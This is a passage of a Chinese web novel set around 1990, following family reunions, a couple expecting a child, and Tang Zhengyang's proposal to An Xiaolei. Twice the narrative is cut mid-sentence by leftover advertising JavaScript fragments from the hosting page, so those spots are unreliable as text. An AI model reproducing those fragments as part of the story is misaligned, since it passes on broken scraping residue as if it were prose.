“不怪你,是天杀的人贩子该死。”吴巷北埋在大哥肩上哭了起来,“可惜我们那时候也只是个孩子,不能帮忙去找东东。有时候想想,我们几个真的不如周子琰有耐心,一直找,一直找……要不是她,东东不可能被找回来的。” “人跟人是不一样的,你们两个能照顾好自己不给爸妈添乱就很好了。”汤正阳安慰人是有一套的。 这话吴巷北听着很暖,忍不住把眼泪擦在他衣服上:“还是自己哥哥好,我要是这样黏着燕西哥,他该不高兴了。” “不提他了,等哥下次过来,带你出去玩。”汤正阳见她的呢子大衣兜里露出半截手帕,便拿出来给她擦擦眼泪。 吴巷北开心了:“不许耍赖哦!” “耍赖是小狗。”汤正阳宠爱的抚摸着她的头发,这么好的妹妹,谁舍得让她哭呢。 吴燕西这个白痴。 说话间,汤正阳终于注意到车子没有往饭店开,赶紧提醒道:“小安总,我在饭店定了位置。” 安小蕾盯着前面的红灯,绿灯后,继续往家里开:“外面不卫生。” “就是啊哥,在家吃自在。”吴巷北虽然性格跳脱,但并不是一个乱花钱的人。 汤正阳却坚持:“下次吧,今天让我尝尝这里的特色菜。” 安小蕾沉默地看向车内后视镜,不期然跟他视线对上,他笑了笑:“小安总别担心,我有钱。” 安小蕾在前面路口转弯,去了饭店。 本帮菜重油重盐,还喜欢放糖,不过味道确实不错。 自己做肯定不太一样。 汤正阳高兴,多吃了一点,跟弟弟妹妹一起喝了好几瓶啤酒。 离开的时候又醉了。 安小蕾去结账,一问才知道他已经把钱付了。 是个实在男人,不像一些鸡贼的狗东西,嘴上嚷嚷请客,却故意装醉不付钱。 安小蕾回到座位上,架起喝醉的男人,看着微醺的小汤和小北:“你们两个互相扶着点,我送你们回去。” 送完两个年轻人,车上便只剩下了汤正阳和安小蕾。 回到小区停好车,安小蕾架着汤正阳出车库。 走了几步,她不禁停下来看了眼。 总觉得今天的汤正阳没有上次醉酒之后沉了。 是瘦了吗?这才几天,不至于。 难道是醉得不够彻底,所以还能自己撑着点? 也对,上次人多,可以敞开了喝,这次估计矜持了点。 刚到小区门口,便看到了一个捧着百合花戴着眼镜的男人。 这次不是O型腿了,这次是少白头。 看到安小蕾扶着一个男人回来,脸上的笑意瞬间凝固。 段成遇红了眼眶,握紧了手里的百合花:“小蕾你……你真的有男朋友了?” “不然呢?”安小蕾没有停留,直接上楼去了。 身后传来男人不甘心的脚步声。 安小蕾不满地停下,回头骂道:“跟你说了多少次了,对你不感兴趣!你想做跟踪狂吗?你的书都读到狗肚子里去了?” “我……我只是怕你太辛苦,我帮你扶着点吧。”段成遇不死心。 两人是少年班的同学,后来安小蕾飞速念完了大学课程,段成遇却因为爸妈离婚受到了打击,休学了两年。 等他再回学校的时候,安小蕾已经念硕士研究生去了。 他对学习了无兴趣,但是为了追逐安小蕾的脚步,还是一路跟着念完了博士。 毕业后成了同事,做的第一件事就是高调示爱。 可惜安小蕾不喜欢他。 他很伤心,尤其是看到她带了男人回来,更崩溃了。 他一步一步跟上来,昏黄的楼道灯光下,镜片下的泪光叫人心碎。 可惜安小蕾还是冷着脸:“不需要,赶紧走,别逼我报警。” 段成遇不肯,伸手就想推开她肩上的男人。 没想到这男人忽然直起身来,扭头阴冷的打量着他。 一瞬间,天寒地冻,仿佛倒春寒降临。 段成遇下意识后退两步,笨拙的解释道:“我……我真的只是想帮忙。” “滚。”汤正阳没有废话,挺直了身体,搂住安小蕾的肩膀,径直上楼去了。 段成遇蹲在楼道里哭了半天,最后把百合花摔得细碎,转身离去。 关上门,安小蕾面无表情地打量着正在换鞋的汤正阳:“你没醉?” “醉了,没全醉。”汤正阳确实不太舒服,但是他今天没敢喝太多。 安小蕾转身,直接出去了。 汤正阳赶紧追出来:“生气了?” “没有,我拿花。”安小蕾确实有种被耍了的感觉,难怪她总觉得今天的汤正阳不太沉呢。 原来是没醉彻底啊。 那他干嘛要她架着他? 安小蕾有点生气,可是看他依在门边面脸酒气的样子,又觉得自己太小家子气了。 索性一把将他推了进去:“躺着去,别乱跑。” 汤正阳不肯:“我陪你,万一那个人还在。” 安小蕾叹了口气,没有拒绝。 任由他晃晃悠悠的跟着。 二层楼梯处全是零落的百合花花瓣,碎裂一地的伤心。 安小蕾转身上楼,拿出笤帚和簸箕,打扫干净后才去车上把花束拿了下来。 回到楼上,她伸手问汤正阳要卡片:“给我。” 汤正阳别过脸去,握紧了西装口袋里的卡片:“丢了。” “给我!”安小蕾一把扯出他的手,夺回卡片,“送人的东西还能拿回去的吗?脸皮够厚的啊!” “有疤,增生了,确实挺厚的。”汤正阳转身,倒在沙发上捂住了脸,“我缓缓,等下去酒店,你忙你的,不用管我了。” 安小蕾没说话,静静的看着卡片上的内容。 看完,转身去卧室,把卡片压在枕头下面,跟上次的放在一起。 随后拿了两只花瓶出去,装了水,一只插茉莉,一只养向日葵。 安排好花儿的归宿,又去厨房忙碌起来。 汤正阳怀疑自己是寂寞太久了,要不然,何至于这来来回回的脚步声竟让他格外的安心和踏实。 以至于连那叮叮咣咣的锅碗瓢盆声都成了和声。 悦耳动听。 让他很快沉醉其中,沉沉睡去。 半夜醒来,才发现自己睡在了床上,身上盖着被子。 鞋子脱了,外套也解了。 床头依旧摆着纸条和头痛药,以及一碗凉白开,一只空碗。 下意识扫了眼地上,果然摆着两只保温瓶。 不出意外的话,蓝色的这只里面还是开水,粉色的那只里面还是醒酒汤。 他没看纸条,提起粉色的保温瓶试了试。 倒出来的果然是姜黄色的汤汁。 暖黄色的灯光下,他笑了。 捧起搪瓷碗,细细品尝。 谁说滋味不好了,好得很。 这可是他喝过的世上最有滋味的醒酒汤。 第二天安小蕾醒来的时候,他已经走了。 做好了早饭,留了便条给她。 安小蕾去次卧看了看,呦,还挺有素质,被子叠得整整齐齐,碗也端走了,洗得干干净净。 地上的鞋印子也拖了,真是个爱干净的好男人。 她拿起便条,摩挲着最后落款的三个字,手心那种被胡茬扎痒的感觉骤然回温。 月底还来是吗? 转身回到主卧,翻了翻挂历。 一九九零年三月一号,农历二月初五。 不知道这个月底,指的到底是阳历还是农历。 不过也没差几天。 她把便条收起来,连着枕头下的一起,收进了自己的相簿里面。 夹好后拉起窗帘,安小蕾看着远处的大山,下意识握紧了被胡茬扎过的手。 * 吴旭东成了大院的红人。 每天进出,都有人笑着跟他打招呼。 嘘寒问暖,格外的热情。 时不时也有人来找他给亲戚安排工作,他都尽量帮忙。 一来二去,俨然有了大院话事人的派头。 何政委得知他调解的那起纠纷,特地让他老婆请他和周子琰去家里吃了顿饭。 话里话外,都是对他的欣赏。 吴旭东谦虚得很,不管何政委怎么夸他,他都说自己还年轻,不足的地方还有很多,需要多多努力。 正吃着饭,进来一个三十左右的男人。 浓眉大眼,国字脸,身高一米七九,穿着西装,打着领带,脚上的黑皮鞋油光锃亮。 很有点成功人士的派头。 吴旭东不认识这人,好奇的看了眼周子琰。 周子琰介绍道:“这是何政委的小儿子何东升。东升哥,坐。” 何东升叫了声爸妈,放下公文包,坐在了周子琰旁边。 眼神里带着关切:“听说你怀孕了?” “嗯。”周子琰笑笑,“快三个月了。” 那就是彻底没机会了,何东升黯然地垂下眼睫,尽量藏起自己的失落。 吃完饭,周子琰挽着吴旭东告辞。 何东升一直把他们送到楼下才回来。 何政委见他长吁短叹的,不禁劝道:“好啦,人家两 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口子那么恩爱,别想了。说起来也怪你不好,当初叫你陪她去找吴旭东,你不肯,白白把机会拱手送人,怨谁呢?” “我只是想多赚点钱,尽早买了婚房再跟她求婚,谁想到她……谁想到她一找到吴旭东就跟他结婚呢?”何东升瘫在沙发上,两眼放空。 他爸是团级干部,分的是三室两厅的房子,地方还算宽敞。 只是他这么一倒,两条腿便堵了他老爸的路。 何政委跨过去,坐在旁边拿起报纸:“你呀,这个性格早晚要吃亏的。” “改不了了。”何东升苦涩的笑笑,“给我介绍个女朋友吧,我也老大不小了,趁早结婚死了这条心。” “你想好了,可别结了婚又想东想西的,祸害别人家的姑娘。”何政委可不想看到小儿子一心二用。 要结婚就得彻底断了念想,要不然,对谁都不好。 何东升明白:“放心吧爸,她不知道我喜欢她,我也不会跟任何人说的,这样对大家都好。” “那就好。”何政委放心了,“我叫你妈妈帮你安排。” “找个女兵吧,我喜欢当兵的女人。”何东升直起身来,提了下要求。 何政委不肯:“不行,你这还是放不下周子琰。” “那好吧,你随便安排。”何东升放弃了。 认命吧,暗恋了十年的姑娘要当妈妈了,他也不得不往前看了。 睡觉前,他跑到走廊那里,看了眼前面的那栋大院楼。 周子琰家的位置很好找,他一眼就看到了。 暖黄色的灯光将两个人的身影打在了窗帘上。 周子琰的头发长了,正靠在窗口的沙发上看书。 大块头的男人则来回走动,不知道在忙些什么。 很快,男人坐在了她旁边,看那姿势,好像架起了什么东西。 胳膊还一直在动。 何东升猛地回头,看向客厅里打毛衣的亲妈,瞬间悟了。 行啊吴旭东,挺厉害,还会打毛衣呢。 他输得心服口服。 谁让周子琰对这些一窍不通呢。 一个家庭里面,总得有一个缝缝补补的角色。 他做不到,甘拜下风。 正在打毛衣的吴旭东,压根不知道有人在看着他们。 他比划了一下:“琰琰,这个腰围要不要再大一点?” 周子琰站了起来:“你试试。” 吴旭东便把毛衣往她肚子上贴贴:“那就再大点,等到七八个月的时候也入夏了,用不着穿毛衣了。” “好。”周子琰坐回沙发上,捧着手里通讯技术类的书籍,靠在他左边肩上。 吴旭东右手动得飞快,时不时看她一眼,提醒道:“要不你躺我腿上,我怕棒针碰到你。” “好。”周子琰便倒在他腿上,不到半个小时就睡着了。 吴旭东放下半成品的毛衣,抱着她去卧室。 那亲昵的身影,正好被出来看星星的何东升看到了。 他把望远镜支开,默默叹了口气。 曾几何时,她随口提了一句喜欢观察星座。 到头来,他兴冲冲的准备好了望远镜,星空下的观星者却只有他自己。 算了,不看了。 他扛起望远镜回去了。 难得回来爸妈这里,就不给自己找不痛快了。 第二天他起了个大早,没想到吴旭东也在船上。 思来想去,他还是打了个招呼:“是小吴啊。” “东升哥早。”吴旭东还在织毛衣。 抓紧分分秒秒。 免得到了厂里没时间。 何东升彻底服了,坐在旁边,好奇道:“你跟谁学的?” “自学。”吴旭东动作飞快,再有两天这毛衣就好了。 粉白鹅黄,三色搭配的,琰琰会很喜欢。 何东升不禁目瞪口呆:“自学?你真了不起。” “你也了不起,做生意的?”吴旭东不是傻子,看得出来这个男人对他老婆有过想法。 不过,这人比起诸葛光强多了,言语间并没有什么攻击性。 何东升确实不想攻击吴旭东。 缘分这种事,谁也说不准的。 是他自作聪明,非要去谈那一单生意。 但凡他陪着周子琰一起过去,就算吴旭东跟周子琰还是会互通心意,他也不见得没有一争之力。 可惜了。 他掏出一支红梅点上:“嗯,跑药材的。” 这么巧? 吴旭东问道:“你认识一个姓汤的药材商人吗?” “不认识,听说过,买卖做得很大,我这种小打小闹的,他看不上。”何东升倒是很有自知之明,并没有觉得自己有多了不起。 吴旭东笑笑,不认识就好,要不然还牵扯不清了。 船到码头,两人各奔前程。 汤正阳也回到了汤家,宣布了自己跟吴家爸妈相认的消息。 汤家爸妈早就收到了汤丰登的消息,并不意外。 只是弟弟们没有心理准备,一个个将他围在中心,红着眼眶问他。 “大哥你还认我们吗?” “认啊,你们永远都是我的好兄弟。”汤正阳笑着抱起最小的侄女儿,“妈,帮我问问小姨,反正她守寡了没事做,要是她愿意帮我去照顾我亲妈,我给她一个月一千块的工资。” “多少?” “一千?” 弟弟们和弟媳们全都惊呆了。 至于吗?照顾一个病人要花这么多钱? 汤正阳神色平静:“这钱看着很多,其实并不,我那个妈脑子摔坏了,大小便失禁,没有自理能力。所以这活儿很累,你们做不下去的,别羡慕。让小姨去。” 罗素湘是医生,自然明白这样的患者有多折磨人。 当即应道:“妈这就给你小姨打电话。” 三天后,吴国正正在给老妻换裤子,门铃响了。 一个四十来岁的中年女人笑着问道:“是正阳爸爸吗?我是他小姨罗素漪。” 吴国正愣怔了很久,才把人请了进去。 60. 求婚(1)(二更) 吴国正自由了。 一开始还不放心,寸步不离的守着。 守了半个月,发现这个罗素漪照顾病人很有一套。 比那些护工细心,也比护工吃苦耐劳。 每天还能腾出空来做饭洗衣服,完全没了他的用武之地。 不禁好奇问了问。 罗素漪正在厨房炒菜,笑着说道:“害,我那死鬼男人前些年出去偷腥,半夜着急回来,黑灯瞎火的,摩托车又开不稳当,硬生生把自己撞成了半身不遂。这一躺啊,就是五六年,都是我照顾的。” “你心地真好,偷腥了还管他。”吴国正有些意外,没想到罗素漪婚姻不顺。 罗素漪无所谓的笑笑:“姐夫,你没听过一句话吗?人生在世,但凭良心,莫问前程。这不,他死了,我解脱了。唯一的女儿也嫁了人,没我什么事了,这不就来大城市见世面了嘛。” 也是,善恶到头终有报,燕西两口子不就年纪轻轻踏上了黄泉路吗? 吴国正帮不上忙,便问道:“你自己能行的话,我出去找点事做?” “能行,你放心去吧。不是我吹,你到底不是专业的,未必有我照顾得好。等我有空啊,我给老姐姐做做针灸,很快就能好起来的。”罗素漪本来就觉得他在家里转来转去的不方便,出去了才好。 大家都自在。 吴国正没意见,只是惊讶:“你还会针灸?” “那可不嘛!我们老罗家是祖传的中医,我姐专攻妇科千金,我是专攻针灸的,还是当地的赤脚医生呢。要不正阳会指名要我来吗?”罗素漪笑笑,把菜盛出来。 之所以这半个月没上针灸,不过是想摸索出患者的生活规律。 总不能针灸到一半忽然大小便吧,那不合适。 吴国正彻底放心了,留下罗素漪在家照看老妻,自己出来呼吸呼吸新鲜空气。 可是他脱离社会太久了,一时竟不知道自己能做什么,索性到服装厂转转,看看小儿子这里需不需要他帮忙。 吴旭东见他气色不错,发自内心的感到高兴。 一上午带着他,看看厂子,转转车间,再去服装店和家电专卖店看看。 “我准备再开一个通讯器材店,卖卖大哥大,寻呼机,你考虑一下,到我哪个店铺来帮忙。”吴旭东开车,带小老头去饭店吃顿好的,顺便把他的四个臭皮匠叫上。 这样他不在城里的时候,他们几个能帮忙照应一下老同志。 吴国正不清楚自己能不能胜任,思来想去,还是决定先跟着年轻人做一段时间。 “这样也好,等你上手了我再让你单独照看一个门面。”吴旭东很是开心。 这么一来,等到孕晚期他腾不出手来的时候,就可以放心大胆的让自己老爸盯着点了。 毕竟家电的销售金额不小,不像服装店,十几块几十块的慢慢积累,不容易激发人的贪念。 夜里回来,他把这事告诉了周子琰。 周子琰不禁感慨:“难怪正阳大哥能当大老板呢,做事就是靠谱。” “是啊。”吴旭东也有些惆怅,这么好的大哥,真是不忍心看他一个人寂寞下去了。 当即拿起大哥大:“喂,三姐。” “东东!找我有事?” “你和小汤的婚期定了没有?” “还没有,在装修新房,装修完了还要晾半年。” “非得等新房好了才结婚?” “那倒不用,我跟丰登商量好了,实在不行可以先领证再办酒。” “那就先领证吧,日子定了告诉我。” “喂,你这么着急把你姐姐嫁出去啊?” “我着急给大哥找老婆!” “哦,我知道了,放心,我们很快的。” “那就好。” “对了东东,二姐上个月出去演出了没空,过几天想回去看看大哥,大哥最近跟你有联系吗?知道他什么时候回去不?” “嗯,他在北京,月底过来。” “好,我知道了,我跟二姐说一声。” 挂断电话,吴旭东继续忙碌。 这次不织毛衣了,开始钩帽子。 周子琰看着他那专注的样子,忍不住亲了一口:“小东,你可真行啊,什么都会!” “可惜我不会生孩子,只能辛苦你了。”吴旭东扭头也亲了她一口,“等我给你钩完帽子,我就给孩子钩鞋子。今年是马年,钩个龙头鞋好了。” “龙马精神,可以。”周子琰想了想,惊道,“呦,那岂不是跟大哥一个属相?” “嗯。”吴旭东调侃道,“等咱孩子想骑大马了,就把大哥叫过来,他可是名副其实的大马。” “哈哈哈。”周子琰笑了,想起还没取名字,问道,“你对孩子的名字有想法吗?” “有想法,叫周长空怎么样,鹰击长空,听着就大气。”吴旭东已经琢磨过好长时间了。 既然只准生一个,那就别取那些刻板印象的名字。 什么女孩子就得花花草草,男孩子就要志向远大,他不喜欢。 这名字确实不错,大气磅礴的,只是周子琰好奇:“不管男孩女孩都叫这个?” “不好吗?”吴旭东也想过,要不要取个跟马有关的名字,比如奔腾,飞跃,不过那些都太常见了。 还是鹰击长空最好。 他和周子琰的孩子,一定可以翱翔蓝天,自由自在。 周子琰没有意见,但还是想问:“跟我姓?” “你生的,当然跟你姓。”吴旭东很认真,他连命都是这个女人给的,还有什么不舍得的。 别说是区区冠姓权,就是要他为她出生入死,他都不会眨眼。 周子琰没忍住,拿开他手上的钩针和毛线,狠狠亲他。 两人很快倒在沙发上。 吴旭东却放不开手脚:“琰琰,起来,别碰着你肚子。” “孕中期了,没事。”周子琰早就做好了功课,她知道他憋得难受,她也想的。 索性去卧室里,好好解解馋。 事后,吴旭东红着脸不说话。 他太紧张了,生怕伤害到她,退步明显。 区区三十分钟就结束了。 周子琰看着他那委屈的样子,笑得不行:“你是不是傻呀,三十分钟很长了,真的。” “退步了。”吴旭东惭愧。 周子琰从身后环住他的腰:“不准这么说自己,你在我心里就是最好的。” “哪天我两分钟就结束你也这样说?” “那不然呢?我自己选的男人,有病就去看呗,有什么大不了的。” “那可不行,我不允许有那一天。” 于是第二天开始,吴旭东努力加餐,积极锻炼。 浑身上下都是劲儿。 两天后,周子琰收到一通电话。 八舅打来的,告诉她别费劲了,孩子的名字他已经取好了。 周子琰哭笑不得:“可是八舅,小东也给孩子取好名字了。” “他不懂,寓意再好也要看看符不符合孩子的八字。你的孩子会在八月盛夏的时候出生,非常缺水,名字必须带水。回头我跟他说,你别管了。”安八荒不想让外甥女为难。 转头打给了吴旭东。 把吴旭东唬得一愣一愣的,最后愣是放弃了这个名字。 不过安八荒也做了妥协:“长空就留做小名吧,听我的,我不会害你们的。” * 汤正阳去了趟北京,见到了弟弟说的那位大姑。 正好他要考察北京的药材市场,便走访了周边很多邻居,得到了几个关键的线索。 坐在火车上,他拿出备忘录,把所有的信息汇总。 简而言之,吴家栋一家的嫌疑最大,只是这人目前在坐牢,探访困难,想要获得一手线索,不太容易。 只能等这人出狱之后接触了看看。 至于吴家栋的小舅子,也坐牢去了。 据说他在四合院的官司里提供了伪造的证据,被警察揪出了背后的造假团伙,一锅端了。 真是自作孽不可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 活。 整理完线索,汤正阳左手敲击着面前的小桌子,思考着对策。 自古财帛动人心。 不如先找吴家栋的姐姐姐夫们一起发发财,再随便找个借口中断合作。 这种久贫乍富的人,一旦尝到了金钱的好处,肯定会不顾一切来巴结他的。 到时候看看能不能撬出点什么有用的信息来。 他拿起大哥大,给他手下去了个电话:“西南药农手里的药材收购回来了吗?” “收购回来了汤总,量很足。”那头是个声音粗哑的男人。 汤正阳放心了:“做好炮制和晾晒工作,等我回去检查。” “放心汤总,我会盯好新来的伙计。”去年有人自作聪明,想用猪皮替代驴皮,被汤总知道了,直接做了个局,送进去坐牢了。 他可不敢得罪汤总,赶紧去看着点库房,免得再有人耍小聪明。 挂完电话,汤正阳百无聊赖,索性拨通了安小蕾的电话。 可是他该说点什么呢? 嘟嘟了两声之后,还是挂断了。 很快,他靠在椅背上睡着了。 不知不觉做了个梦,梦里他再次从山崖上滚落。 却落在了一个仙女的怀里。 仙女手里拿着药膏,温柔的抚摸着他的脸庞,为他疗伤。 以至于他一把摁住仙女的纤纤素手,想要看清她的模样。 居然是安小蕾。 他自己都觉得好笑。 怎么可能是她,明明是养父母把他捡回去的。 看来他真的生病了。 相思病。 到站后,凌晨的冷风一吹,绮梦散去,他拖着行李箱,去找酒店。 第二天一早啃了个包子,准备去毛坯房那边看看装修的进度。 没想到里面居然有人。 还不到七点,装修队不可能这么早过来,扰民,会被投诉。 是谁呢? 小巷和丰登搬过来了? 不,房子还没装修好,他们又是年轻的员工,需要在单位好好努力,不可能把精力放在这边。 只能是安小蕾了。 他敲了敲门,开门的真是安小蕾。 年轻的女人穿着睡袍,趿拉着拖鞋,睡眼惺忪。 见来的是汤正阳,有些意外:“你不是说月底过来吗?” “今天二月二十五,是月底。”汤正阳的那张便条,并没有精确到具体的日期。 安小蕾笑笑,撩开凌乱的头发:“进来吧,里面很乱。” “你怎么住进来了,油漆的味道有毒。”汤正阳很是担心。 安小蕾无奈:“前几天没人在这里守着,有人不老实,偷材料,我就住过来了。没事,我住的房间还没有装修,等我找到新的装修队再搬走。” “你……”汤正阳过意不去,看着她的黑眼圈,再看看这脚下乱七八糟的材料堆,不禁羞愧难当。 一把握住她的手腕,要带她离开:“偷就偷了,我又不是买不起,什么都没有你的健康重要。” “那你怎么不舍得给自己买袜子?”安小蕾挣脱他的手,站在门口质问他。 这个男人太奇怪了,对弟弟妹妹那么大方,对自己却抠抠搜搜。 袜子穿破了都不舍得换。 她希望他对自己好点,不要没苦硬吃。 汤正阳静静的看着她。 视线交汇,绮梦再次萦绕心头。 他得承认,他配不上她。 可是他也得承认,他栽进去了。 男子汉大丈夫,要是连自己的心意都不敢面对,算什么男人? 深吸一口气,他认真地问道:“那你愿意给我买吗?” “我不是给你买了?”安小蕾把头发扎起来,想回去刷牙。 却被汤正阳再次拽回来。 清晨赶路的寒气还停留在身上,他却顾不得了。 他将自己魂萦梦牵的娇花摁在怀里,严肃认真的看着她:“不是一双,也不是一次,而是一辈子。” 61. 求婚(2) 清晨的空气里,隐约传来对面街道的烟火气。 这座城市已经醒了,行人匆匆而过,有的在啃包子,有的在吃油条。 熟悉的人彼此打个招呼,混杂在包子铺的吆喝声里,一派欣欣向荣。 而新房门口的两个单身男女,却迟迟没有任何的声响。 时间仿佛停滞了一般,连带着男人的问题,一起封印。 其实安小蕾并不反感跟汤正阳接触。 这个男人很有担当,命运以鲜血浇灌,他却破开血色的土壤,发芽抽枝,肆意生长。 这么一个极具男性魅力的男人,换了别的小女生,一定会感动得头脑发昏,立马答应他的吧。 可是她不想结婚。 结了婚的女人都是死鱼眼睛。 她的周围已经有太多的死鱼眼睛,她不想添砖加瓦。 虽然她也知道,妈妈和子琰都没有因为婚姻而褪去自身的光芒,可是这样的例子太少了。 以至于她根本不想拿自己的未来去赌。 可是眼前的男人很真诚,深邃的眸子里,有着跳跃的火。 他在竭力压抑着什么。 一个背负了全家重担独自前行的男人,一定会在夜深人静的时候渴望着什么。 而他的渴望,她都懂。 自然明白拒绝之后,他会有多失望。 思来想去,她只能问他:“你想要我用什么身份买?” “你说呢?”汤正阳的手臂很长,饱满的肌肉蓄雄性的力量,他却不敢用力,只是轻轻地将这朵娇花箍在怀里。 不想弄疼她。 安小蕾推开他,表情异常严肃:“汤正阳,我问你问题的时候,希望你能好好回答,而不是把问题踢回来给我。” “你不当教导主任可惜了。”汤正阳笑笑,靠在门框上,抱着双臂,陷入了沉思。 安小蕾见他不说话,转身洗漱去了。 等她换好衣服出来,汤正阳已经把客厅里收拾出了一块可以下脚的地方。 满手都是污秽,正准备去卫生间洗洗。 视线对上,他笑了笑:“你好了?我带你去吃饭。” 行,吃饭,就当什么都没有发生。 回到研究所的时候,安小蕾看着副驾驶的男人,把备用钥匙扔给了他:“你要办事的话直接开车去办,不用跟我说。” “你下班怎么办?”汤正阳没有拒绝,他准备去找个靠谱的装修队。 安小蕾打开车门,回眸一笑:“我可以让同事骑车带我。” “别,我来接你。”汤正阳知道自己刚刚在新房那边唐突了。 但他不想轻言放弃。 一个事业有成的大老板,字典里没有放弃这个选项。 他愿意重新找个合适的时机,正式向她求婚。 当然,她也可以拒绝,没关系,他只是想为自己的下半生努力一把。 得之,他幸,失之,他命。 他握紧了手里的钥匙,送上真诚的笑。 安小蕾沉默地下了车,走到门口才回头:“不用特地赶时间,我可能要开会。” “好。”汤正阳开车离开。 路上给弟弟打了个电话:“小旭。” “哥,你回来了?”吴旭东正在筹备通讯店的事情,目前还在选址。 汤正阳停在路边:“没有。我想问问安小蕾的事情。” “你想知道些什么。”吴旭东边忙边聊。 “她是遗腹子吧?” “嗯。” “她的亲生父亲也是当兵的?” “是,跟我老丈人一个部队的,不过当时两人不熟。” “没有什么狗血三角恋吧?” “没有,丈母娘生了她之后,报名去海岛开荒,我老丈人正好被安排去戍守海岛,两人是后来走到一起的。” “周叔人很好,应该没有亏待过她。” “当然,洗尿布,喂饭,都是我老丈人亲力亲为的,从小带到大,跟亲生的没什么区别。” “那她为什么没有跟周叔姓?” “雷家那边的爷爷奶奶不高兴,她又不想姓雷,怕我老丈人伤心,最后干脆跟我丈母娘姓了。” “难怪她对感情的事带着抗拒。” “哥,你……你看上她了?” “嗯。我是不是自不量力,一个文盲,居然敢肖想人家女博士。” “不,文凭说明不了什么。不过大哥,我还是提醒你,子琰跟我说过,蕾蕾姐很敏感,给了自己很多不必要的压力,你想要她点头的话不是那么容易的。” “看出来了,装修队偷材料她都要亲自看着,鬼知道新房里面的气味多难闻。” “这一点来说,你们两个挺像的,责任心太重。” “知不知道她都喜欢些什么,我想让她开心。” “我问问子琰,晚上给你回电话。” “好。” 挂断电话,汤正阳回头看了眼身后的研究所。 庄严,肃穆,透着不可亵渎的神圣感。 作为一个没有好好上过学的人,他对那些知识分子有着天然的崇拜之情。 他握紧了方向盘,先把正事办了去。 之前的装修队是小年轻们找的,自然欺负他们涉世未深,好糊弄。 所以他直接找到了本地的药商,谈好合作后,一起去酒店吃午饭。 饭桌上,他漫不经心的提了一嘴,自己弟弟妹妹家有房子要装修。 药商能跟他这样的大老板合作,自然想要报答一二。 赶紧给他介绍了一个靠谱的装修队,价钱上也给了九折的优惠。 彼此留下联系方式,汤正阳直接去车上睡了一觉。 说不上来为什么,不过是安小蕾坐过的位置,却让他格外的安心和踏实。 座椅倒下,眼睛一闭就睡着了。 恍惚间耳边似乎又有脚步声来来回回。 像极了上次过来时,她去厨房给他做醒酒汤时的动静。 不,他在车上,她怎么做醒酒汤。 他真是越来越好笑了。 睁开眼,原来是下雨了,下班的人群正来去匆匆的赶路。 汤正阳赶紧把座椅调回来,看了下时间,糟了。 赶紧去研究所接人。 路过花店的时候本想进去买束花,又怕去晚了安小蕾要淋雨,只能等下次了。 到了地方,却没有看到安小蕾的身影,倒是小巷跟丰登,正撑着雨伞往外走。 汤正阳摁了下喇叭,两人急匆匆钻进车里。 “哥,你来啦!”吴巷北赶紧拿出手帕擦擦头上的雨水。 汤正阳问她:“你蕾蕾姐呢?” “她今天有个学术研讨会,要到九点才结束。”吴巷北擦完了,扭头又给汤丰登擦拭起来,“哥,直接去她家,我帮她做饭,说好了。” “嗯。”汤正阳先送年轻人回去。 调头回来的时候,直接去了趟花店。 敏感的,心思重的女人。 博学的,责任心强的女人。 选什么花合适? 左手边的紫丁香安静芬芳,有着淡淡的惆怅。 像那雨后撑着油纸伞的姑娘,温婉动人。 右手边的垂丝海棠娇艳可人,有着特别的羞涩。 像那断桥边揽月的游子,愁肠百结。 玉兰花大气端庄,纯白的色泽里,是那令人动容的馨香。 秋海棠…… 最终转了一圈下来,汤正阳停在了一丛安静的蓝色花卉面前。 蓝莲花。 这种美丽的水生花卉,有着特别的佛教寓意——智慧,清净,不染尘芜。 还象征着希望与新生。 永恒的守候,永恒的等待。 就像是一个徜徉在书山瀚海里的博学才女,婷婷于水中,安静的绽放。 尘世的繁杂,与她无关。 浊世的污秽,也无法沾染。 独具芬芳。 他挑了最好看的那枝买下,没有任何的点缀,也没有多余的陪衬。 仅仅只是这一朵。 就像他在人生的河流边俯身,只取一瓢饮。 包好这唯一的一朵花,他又去了趟金店,挑了款最贵的钻戒。 一切就绪,他回到研究所门口,关上车门,闭目养神。 没吃饭,却一点也不饿,满脑子都在想,这么做是不是太着急了点。 可是她的追求者那么多,也许晚一步就是一辈子的遗憾。 他的生命里已经有太多的遗憾,他不想被动等待。 在能够争取的时候尽力一搏,这才是他的做派。 雨点敲打在车窗上,像是一曲悠扬的小调,诉说着追爱人婉转的心事。 不知不觉,又睡着了。 九点半,安小蕾撑着雨伞出来,同行的专家里,她是唯一的女性。 在门口道别,她看了眼停在左前方的轿车,没动。 雨水冲刷着车窗,路灯安静的洒下暖色的光,车里男人的面庞,不期然蒙上了一层朦胧的光影。 像是一个不真实的梦。 这世上居然会有不吵不闹安静等候的男人。 手里的莲花被周围的环境光映衬着,在他脸上投下一片静谧的蓝。 安小蕾怔忪当场,下意识握紧了那只被胡茬扎过的手。 他怎么知道她喜欢蓝色的花? 是巧合? 还是特地打听来的? 不,应该不是打听来的,连子琰都不知道她这独特的爱好。 可是这怎么可能呢? 他跟她才见过几面? 前前后后不过认识了两个月而已。 她忽然有些后怕。 她精心打造的冷酷摇摇欲坠。 她不想被人窥探她的内心,不想。 转身就想回到研究所。 这时男人醒了,一眼便看到了路灯下的逃兵。 他没有动,只是安静的摇下车窗,安静的凝望。 调皮的风儿将雨点拍打在他的头发上,脸上,身上。 几个呼吸的功夫,便是一只彻头彻尾的落汤孔雀。 安小蕾叹了口气,握紧的手心慢慢松开,钉住的双腿也终于迈开。 她沉默的坐进副驾驶,侧身去够他那边的车窗。 关上后,她拿起手套箱里的纸巾给他擦了擦,这才回到自己座位上,别过头去,不说话。 一只含苞待放的蓝莲花出现在视野里。 紧接着是缓缓打开的红丝绒首饰盒子。 耳边响起男人低沉浑厚的声线:“安小蕾,我正式回答你上午的问题。” 安小蕾却没有回头,安静的凝视他在车窗玻璃上的倒影。 鬼知道她为什么会走了过来。 明明是想逃避的。 真是个不诚实的女人。 她瞧自己不起。 一旁的男人继续表白:“我知道你刚刚想走,可你还是来了。我想,我的问题应该有答案了。”

